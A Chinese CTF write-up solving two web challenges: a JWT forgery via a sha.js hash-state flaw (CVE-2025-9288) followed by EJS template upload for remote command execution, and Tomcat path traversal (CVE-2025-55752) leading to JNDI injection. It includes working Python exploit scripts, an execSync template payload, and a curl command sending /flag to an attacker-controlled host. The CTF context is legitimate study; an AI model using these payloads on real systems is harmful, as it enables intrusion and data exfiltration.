初次尝试正经的ctf比赛,感觉好难,还是能做出来一些简单题的,由于比赛那天我有点事才打了8小时,只做出了2道题。
eezzjs
CVE-2025-9288 sha.js ,利用length来进行sha256状态回退,最后只需要爆破secretkey的最后一位(0-9a-f)的哈希就可以了。
import hashlibimport requests
url = "http://60.205.163.215:17352/upload"
payload="eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0."for item in "0123456789abcdef": headers={ "cookie":"token="+payload+hashlib.sha256(item.encode()).hexdigest(), } res=requests.get(url,headers=headers) if "Log in failed" not in res.content.decode(): print("Found:",payload+hashlib.sha256(item.encode()).hexdigest())拿到token,通过上传.ejs进行模板渲染。extname函数在处理文件名为.ejs时,会返回扩展名为空,绕过waf。在res.render处,令templ=../uploads/,这里可以看express view渲染的源码处理,简单来说会在后面添加默认模板(.ejs)的后缀,拼接后的路径/app/views/../uploads/.ejs,渲染成功,执行命令即可
<!DOCTYPE html><html lang="en"><head></head><body> <div> <%= process.mainModule.require('child_process').execSync('cp /f* /app/uploads/flag1') %> </div></body></html>下面是拿到token之后进行上传和渲染的python脚本
import base64import reimport secretsimport sys
import requests
BASE_URL = "http://60.205.163.215:11362"TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0.3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea"
def build_template(command: str) -> str: encoded = base64.b64encode(command.encode()).decode() return ( "<%- process.mainModule.require('child_process').execSync(" f"Buffer.from('{encoded}', 'base64').toString(), {{encoding: 'utf8'}}" ") %>" )
def upload_template(filename: str, command: str) -> None: template = build_template(command) payload = { "filename": filename, "filedata": base64.b64encode(template.encode()).decode(), } headers = { "Content-Type": "application/json", "Cookie": f"token={TOKEN}", } resp = requests.post(f"{BASE_URL}/upload", json=payload, headers=headers, timeout=10) if resp.status_code != 200: print(f"[-] Upload template failed: {resp.status_code} {resp.text}") sys.exit(1)
def render_template(view_name: str) -> str: headers = {"Cookie": f"token={TOKEN}"} resp = requests.get( f"{BASE_URL}/?templ=../uploads/{view_name}", headers=headers, timeout=10, ) if resp.status_code != 200: print(f"[-] Render template failed: {resp.status_code}") print(resp.text) sys.exit(1) return resp.text
def extract_flag(output: str) -> str: match = re.search(r"[A-Za-z0-9_]+{[^\\s<]*}", output) if not match: print("[!] Flag not found; full output follows:") print(output) sys.exit(1) return match.group(0)
def main(): base = f"pwn{secrets.token_hex(3)}" upload_name = f"{base}.ejs/." view_name = base print(f"[+] Using filename: {upload_name}")
command = ( "for f in /flag /flag.txt /flag* /root/flag /root/flag.txt " "/home/*/flag* /var/flag /var/www/flag /ffffffflag /f*; do " "if [ -f \"$f\" ]; then cat \"$f\"; exit 0; fi; " "done; find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null" )
upload_template(upload_name, command) print("[+] Template uploaded")
output = render_template(view_name) print("[+] Template rendered")
flag = extract_flag(output) print(f"[+] flag = {flag}")
if __name__ == "__main__": main()这是本地起docker分析的样子
下面是攻击流程
这里主办方其实题出的有点问题,本来能探测到的信息是flag在/ffffffflag下但是题出错成在/flag下
n1cat
CVE-2025-55752 读取tomcat web.xml文件和相关class源码
/download?path=%2fWEB-INF%2fweb.xml/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%welcomeServlet.class/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%2fUser.class关注User.class类,这里的setUrl存在jndi
package ctf.n1cat;
import javax.naming.InitialContext;import javax.naming.NamingException;/* loaded from: User.class */public class User { private String name; private String word; private String url;
public String getName() { return this.name; }
public String getWord() { return this.word; }
public void setWord(String password) { this.word = password; }
public void setName(String name) throws NamingException { this.name = name; }
public String getUrl() { return this.url; }
public void setUrl(String url) { try { new InitialContext().lookup(url); } catch (NamingException e) { throw new RuntimeException((Throwable) e); } }}起个恶意的服务器打一波(看完官方wp之后发现是jdk版本问题,需要jkd17,而我版本不对导致jndi注入无效),以下是jndi的思路
JNDI 注入漏洞利用流程概述:
信息收集
通过 /download?path=… 读取到 web.xml、welcomeServlet.class、User.class。
User.setUrl 直接将 url 传入 InitialContext.lookup —— JNDI 注入点成立。
搭建回连环境
HTTP 监听器:保证公网主机(你的ip)上 python -m http.server 9000 常驻,用来接收 flag。
Exploit 服务:使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 起 LDAP/RMI/HTTP(默认监听 1389/1099/8180)。
在 WSL 中运行需要 netsh interface portproxy + 防火墙放行把端口转发到 WSL。
更简便的做法:直接在 Windows 主机安装 JDK 后运行 jar,省去端口转发。
命令构造:为了回显 flag,常见 payload 如 sh -c ‘curl http://你的ip:9000/?d=$(cat /flag)’。 在 Windows 下建议 Base64 编码拖入 JNDIExploit(Basic/Command/
触发漏洞
发送 GET 请求(Tomcat 只接受 GET),包含合法 JSON 并让 url 指向 exploit 提供的 LDAP 路径。 例如:
curl -G "http://60.205.163.215:12823/" \--data-urlencode 'json={"name":"n1cat","word":"cat cat cat!","url":"ldap://你的ip:1389/<token>"}'如果 JSON 报错,通常是 LDAP 访问失败(端口未通)或 token 过期。
获取 flag
成功后 exploit 的命令会执行,靶机通过 curl http://46.232.56.130:9000/?d=
在 HTTP 监听终端查看日志即可看到 GET /?d=flag{…}。如果没有回连,排查端口、token、网络连通性。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









